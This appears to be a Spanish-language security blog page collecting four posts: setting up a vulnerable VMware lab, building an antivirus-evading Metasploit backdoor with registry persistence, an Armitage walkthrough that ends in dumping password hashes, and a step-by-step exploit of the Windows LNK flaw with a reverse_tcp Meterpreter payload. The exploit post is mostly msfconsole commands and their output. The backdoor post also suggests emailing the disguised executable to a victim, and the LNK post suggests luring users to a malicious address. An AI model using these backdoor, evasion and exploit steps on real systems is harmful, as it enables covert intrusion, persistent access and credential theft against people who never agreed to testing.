Preparando entorno vulnerable para pruebas de pentesting
Hola!
Muy buenas a todos/as!
El otro día con la guía de Offensive Security configurábamos un Windows XP Service Pack 2 para hacer pruebas de pentesting.
Hoy lo que haremos será preparar un entorno completo vulnerable para hacer pruebas, por ejemplo con Metasploit.
El gráfico de red sería el siguiente:

Ya tenemos el gráfico del entorno que configuararemos.
Para trabajar con este entorno lo haremos con una nueva red que añadiremos en VMware

Este el menú principal de VMware Workstation 8, nos dirijimos a Virtual Network Editor

Como no quiero fastidiar ningún entorno que tengo ahora añadiremos una interfaz mas, con otro rango de direcciones IP

Añadimos la interfaz que deseemos

He cambiado el rango del DHCP, ahora todas las máquinas del entorno vulnerable serán asignadas a VMnet2
Para el entorno usaremos Metasploitable, pero el que tienen creado en la web de Metasploit, se puede descargar aquí
Para Windows Server 2003, Windows Server 2000, Windows XP SP2 Y SP3, neesitaremos una licencia válida.
Además de descargar Metasploitable de los chicos de Metasploit, también descargad UltimateLAMP, lo usaremos en el entorno mas tarde, se puede obtener de aquí
En el siguiente apartado, empezaremos a hacer prácticas con el entorno
Saludos cordiales
Backdoor indetectable generado con Metasploit
Hola!
Muy buenas a todos/as!
Muchas de las veces en las que se consigue acceso remoto a otro host mediante una vulnerabilidad explotada con Metasploit (por ejemplo) en la que conseguimos una shell con Meterpreter. Es bueno intentar dejar un backdoor por si queremos volver a acceder en un futuro.
La problemática de un backdoor instalado en la parte de la víctima es la detección del antivirus, que aunque no sea la panacea de la seguridad, cumple parte de su función.
Para que el ejecutable que dejaremos no sea detectado por el antivirus codificaremos el ejecutable con shitaka ga nai de Metasploit, tras conseguir acceso remoto en el equipo lo dejaremos en el equipo víctima, además pondremos una clave en el registro para que se inicie en cada inicio del sistema operativo.
Para hacer esta tarea, usaremos un script de SecurityLabs y The Hackers News que se llama Vanish, lo podemos descargar de aquí
Como dependencias para usar el script hemos de instalar las siguientes dependencias
root@bt:~# apt-get install mingw32-runtime mingw-w64 mingw gcc-mingw32 mingw32-binutils
Nos bajamos el script
root@bt:~# wget http://localhostr.com/file/p4SrRVe/vanish.sh
Si queremos consultar el código fuente del script podemos también verlo en Pastebin
Una vez hemos descargado el script, si lo usamos en backtrack como es mi caso, lo hemos de copiar a la carpeta donde se encuentre Metasploit, es decir, /pentest/exploit/framework
Una vez lo hayamos copiado, lo ejecutamos, nos irá haciendo preguntas sobre la targeta de red, un número seed aleatorio y las veces que será encodeado con shitaka ga nai

El ejecutable se creará, nos hará una firma de hash del ejecutable, además de meterlo en una carpeta que se llama seclab

Para comprobar la fiabilidad de nuestro ejecutable lo subiremos a Virus Total, del que obtendremos una buena noticia dado el bajo ratio de detección:

El ratio de detección es muy bajo y eso nos permitirá el poder evadir la mayoría de antivirus
Como ya tenemos sesión con Meterpreter es sencillo el poder subir un archivo al host víctima
![]()
Le cambiado el nombre para que el archivo no se llame backdoor.exe
Ahora depende del atacante si quiere dejarlo así y enviar este ejecutable por email o ejecutarlo cada vez que vulnera la máquina o bien, puede añadir una entrada al registro para que se inicie en cada inicio de sistema operativo.
Luego desde la máquina atacante podemos hacer una conexión al host víctima

Podremos tener accesos remotos al equipo víctima tantas veces como deseemos con el backdoor generado.
Saludos cordiales
Armitage GUI front-end de Metasploit
Hola!
Muy buenas a todos/as!
Quien se dedica a la seguridad conoce sin duda metasploit. Metasploit puede ser complicado de usar si no conocemos bien como funciona. Existen GUI gráficas como Armitage.
Armitage trabaja como front-end de Metasploit.
En Backtrack está en los repositorios así que lo instalamos con:
root@bt: apt-get install armitage
Con esto tendremos Armitage instalado en nuestro sistema.
Igual que hacíamos con autopown usando Fasttrack necesitamos usar MYSQL, así que iniciamos MYSQL:
root@bt: /etc/init.d/mysql start
Ahora nos conectaremos a la base de datos para poder usar Armitage, como lo haremos por defecto lo haremos así:
root@bt:~# msfrpcd -f -U msf -P test -t Basic
[*] XMLRPC starting on 0.0.0.0:55553 (SSL):Basic…
[*] XMLRPC ready at Thu Jun 23 20:28:49 +0200 2011.
Ahora arrancaremos Armitage:
root@bt:/pentest/exploits/armitage# ./armitage.sh

Si no hemos cambiado anda de la instalación de Backtrack por defecto, esto lo dejamos de esta manera.

Armitage nos avisa que usará el driver mysql.

Esta es la pantalla principal de Armitage, a la izquierda tenemos una lista de exploits de Metasploit, abajo tenemosla consola de Metasploit.
Ahora lo que haremos es encontrar los equipos para el lanzamiento de los exploits.

Con NAMP lo que haremos es lo que hacemos normalmente, que es buscar puertos abiertos, versión del sistema operativo etc..

Introducimos el rango de IP’s que queremos escanear o bien la dirección IP del host directamente si la conocemos.

Como ya tenemos el scan echo podemos encontrar ataques con las vulnerabilidades que encontremos.

Podemos ver que se ha indetificado como un equipo Windows XP

Si clicamos en encima del Host podemos ver Services y Host, si le damos a services podemos ver lo servicios que ha identificado

Ya tenemos los servicios

Ahora podemos buscar exploits de Metasploit basandose en los puertos y servicios que ha encontrado.

Ahora ya ha encontrado los ataques que podemos hacerle.

Tenemos un menú para poder lanzar el ataque que queramos.

Podemos especificar opciones avanzadas en el ataque.
Cuando la máquina es comprometida sale así

Ya está el equipo comprometido.

En la consola de Metasploit podemos ver que ha conseguido una sesion de Meterpreter

De manera gráfica también tenemos las opciones disponibles con Meterpreter

Podemos navegar de manera perfecta por todo el sistema operativo

Y podemos sacar los Hashes de los usuarios

Y podemos obtener una consola CMD de Windows.
Y hasta aquí una sesión de Meterpreter.
Explotando vulnerabilidad “LNK” con Metasploit
Hola!
Muy buenas a todos/as!
Parece que la ley de Murphy impera en la informática y es que Microsoft decide acabar con el Soporte para Windows XP y 2000 y ¡pam! sacan un zero day.
Han tardado poco pero han sacado un POC para Metasploit
Tendremos que actualizar Metasploit y lo que haremos será:
| | _) |
__ `__ \ _ \ __| _` | __| __ \ | _ \ | __|
| | | __/ | ( |\__ \ | | | ( | | |
_| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|
_|=[ metasploit v3.4.2-dev [core:3.4 api:1.0]
+ — –=[ 570 exploits - 285 auxiliary
+ -- --=[ 212 payloads - 27 encoders - 8 nops
=[ svn r9930 updated today (2010.07.26)msf > use windows/browser/ms10_xxx_windows_shell_lnk_execute
Especificamos el exploit
msf exploit(ms10_xxx_windows_shell_lnk_execute) > set SRVHOST 192.168.78.133
SRVHOST => 192.168.78.133
Ahora indicamos el Host
msf exploit(ms10_xxx_windows_shell_lnk_execute) > set SRVPORT 80
SRVPORT => 80
Indicamos el puerto al que se tendrá que conectar la víctima
msf exploit(ms10_xxx_windows_shell_lnk_execute) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
Elegimos el PAYLOAD
set LHOST 192.168.162.136
Elegimos el Host
msf exploit(ms10_xxx_windows_shell_lnk_execute) > set LPORT 443
LPORT => 443
Ahora escogemos el puerto desde metasploit nos dará la shell con meterpreter
Y ahora ejecutamos el exploit
exploit
Nos ha de salir algo como esto:
msf exploit(ms10_xxx_windows_shell_lnk_execute) > exploit
[*] Exploit running as background job.[*] Started reverse handler on 192.168.78.133:443
[*]
[*] Send vulnerable clients to \\192.168.78.133\HGkqi\.
[*] Or, get clients to save and render the icon of http://<your host>/<anything>.lnk
[*]
[*] Using URL: http://192.168.78.133:80/
[*] Server started.
Ahora el cliente tendría navegar por una dirección “maligna”
El conseguir que pase por una dirección maliogna podemos engañale para que visite nuestra web con NOIP por ejemplo
Cuando el cliente se conecte a nuestro servidor vulenrable, veremos como el exploit funciona
msf exploit(ms10_xxx_windows_shell_lnk_execute) > [*] Sending UNC redirect to 192.168.78.139:49278 …
[*] Responding to WebDAV OPTIONS request from 192.168.78.139:49285
[*] Responding to WebDAV OPTIONS request from 192.168.78.139:49285
[*] Responding to WebDAV OPTIONS request from 192.168.78.139:49291
[*] Received WebDAV PROPFIND request from 192.168.78.139:49291 /HGkqi
[*] Sending 301 for /HGkqi …
[*] Received WebDAV PROPFIND request from 192.168.78.139:49291 /HGkqi/
[*] Sending directory multistatus for /HGkqi/ …
[*] Received WebDAV PROPFIND request from 192.168.78.139:49291 /HGkqi
[*] Sending 301 for /HGkqi …
[*] Received WebDAV PROPFIND request from 192.168.78.139:49291 /HGkqi/
[*] Sending directory multistatus for /HGkqi/ …
[*] Received WebDAV PROPFIND request from 192.168.78.139:49291 /HGkqi
[*] Sending 301 for /HGkqi …
[*] Received WebDAV PROPFIND request from 192.168.78.139:49291 /HGkqi/
[*] Sending directory multistatus for /HGkqi/ …
[*] Received WebDAV PROPFIND request from 192.168.78.139:49291 /HGkqi
[*] Sending 301 for /HGkqi …
[*] Received WebDAV PROPFIND request from 192.168.78.139:49291 /HGkqi/
[*] Sending directory multistatus for /HGkqi/ …
[*] Received WebDAV PROPFIND request from 192.168.78.139:49291 /HGkqi/desktop.ini
[*] Sending 404 for /HGkqi/desktop.ini …
[*] Received WebDAV PROPFIND request from 192.168.78.139:49291 /HGkqi
[*] Sending 301 for /HGkqi …
[*] Received WebDAV PROPFIND request from 192.168.78.139:49291 /HGkqi/
[*] Sending directory multistatus for /HGkqi/ …
[*] Sending LNK file to 192.168.78.139:49291 …
[*] Received WebDAV PROPFIND request from 192.168.78.139:49291 /HGkqi/VuztjejOY.dll.manifest
[*] Sending 404 for /HGkqi/VuztjejOY.dll.manifest …
[*] Sending DLL payload 192.168.78.139:49291 …
[*] Received WebDAV PROPFIND request from 192.168.78.139:49291 /HGkqi/VuztjejOY.dll.123.Manifest
[*] Sending 404 for /HGkqi/VuztjejOY.dll.123.Manifest …
[*] Received WebDAV PROPFIND request from 192.168.78.139:49291 /HGkqi/VuztjejOY.dll.124.Manifest
[*] Sending 404 for /HGkqi/VuztjejOY.dll.124.Manifest …
[*] Received WebDAV PROPFIND request from 192.168.78.139:49291 /HGkqi/VuztjejOY.dll.2.Manifest
[*] Sending 404 for /HGkqi/VuztjejOY.dll.2.Manifest …
[*] Received WebDAV PROPFIND request from 192.168.78.139:49291 /HGkqi
[*] Sending 301 for /HGkqi …
[*] Received WebDAV PROPFIND request from 192.168.78.139:49291 /HGkqi/
[*] Sending directory multistatus for /HGkqi/ …
[*] Sending stage (748032 bytes) to 192.168.78.139
[*] Meterpreter session 1 opened (192.168.78.133:443 -> 192.168.78.139:49292) at 2010-07-27 07:04:27 +0200
Como podéis ver ya tendríamos una sesión abierta de Meterpreter
Abrimos la sesión:
msf exploit(ms10_xxx_windows_shell_lnk_execute) > sessions -i 1
Y.. uala ya tenemos acceso al equipo:
meterpreter > getuid
Server username: W7\Seifreed
Y podemos ver los procesos:
meterpreter > ps
Process list
============PID Name Arch Session User Path
— —- —- ——- —- —-
0 [System Process]
4 System
344 smss.exe
524 csrss.exe
576 wininit.exe
588 csrss.exe
640 winlogon.exe
664 services.exe
684 lsass.exe
692 lsm.exe
832 svchost.exe
920 svchost.exe
972 svchost.exe
1064 svchost.exe
1112 svchost.exe
1312 svchost.exe
1424 svchost.exe
1620 dwm.exe x86 1 W7\Seifreed C:\Windows\system32\Dwm.exe
1628 spoolsv.exe
1648 explorer.exe x86 1 W7\Seifreed C:\Windows\Explorer.EXE
1716 taskhost.exe x86 1 W7\Seifreed C:\Windows\system32\taskhost.exe
1732 svchost.exe
1988 VMwareTray.exe x86 1 W7\Seifreed C:\Program Files\VMware\VMware Tools\VMwareTray.exe
1996 VMwareUser.exe x86 1 W7\Seifreed C:\Program Files\VMware\VMware Tools\VMwareUser.exe
492 ProtectedObjectsSrv.exe
780 svchost.exe
1516 vmtoolsd.exe
1136 VMUpgradeHelper.exe
2436 TPAutoConnSvc.exe
2572 SearchIndexer.exe
2732 TPAutoConnect.exe x86 1 W7\Seifreed C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe
2840 svchost.exe
3264 conhost.exe x86 1 W7\Seifreed C:\Windows\system32\conhost.exe
3600 svchost.exe
1584 svchost.exe
3696 wmpnetwk.exe
1372 audiodg.exe x86 0
452 iexplore.exe x86 1 W7\Seifreed C:\Program Files\Internet Explorer\iexplore.exe
3012 iexplore.exe x86 1 W7\Seifreed C:\Program Files\Internet Explorer\iexplore.exe
3088 klwtblfs.exe x86 1 W7\Seifreed C:\Program Files\Kaspersky Lab\Kaspersky PURE\klwtblfs.exe
3204 rundll32.exe x86 1 W7\Seifreed C:\Windows\system32\rundll32.exe
Aún no existe un parche oficial de Microsoft, para mitigar el problema podemos utilizar la mini guia de nuestros compañeros de Security By default
El advisory de Microsoft lo podemos ver aquí
Y hasta aquí hemos llegado Un saludo
Buscador
- ¿SPAM dirigido? wp.me/p6blk-16S 24 minutes ago
- Nuevas versiones del malware de la policía y cómo eludirlas j.mp/KIGXyF 9 hours ago
- Utilidad para vigilar el uso del Modo Protegido en Internet Explorer j.mp/KIGE71 10 hours ago
- Nuevas versiones de SpyEye graban imágenes de sus víctimas j.mp/JS2vPt 10 hours ago
- Salto de restricciones en sudo (en multitud de distribuciones) j.mp/KpZwsQ 10 hours ago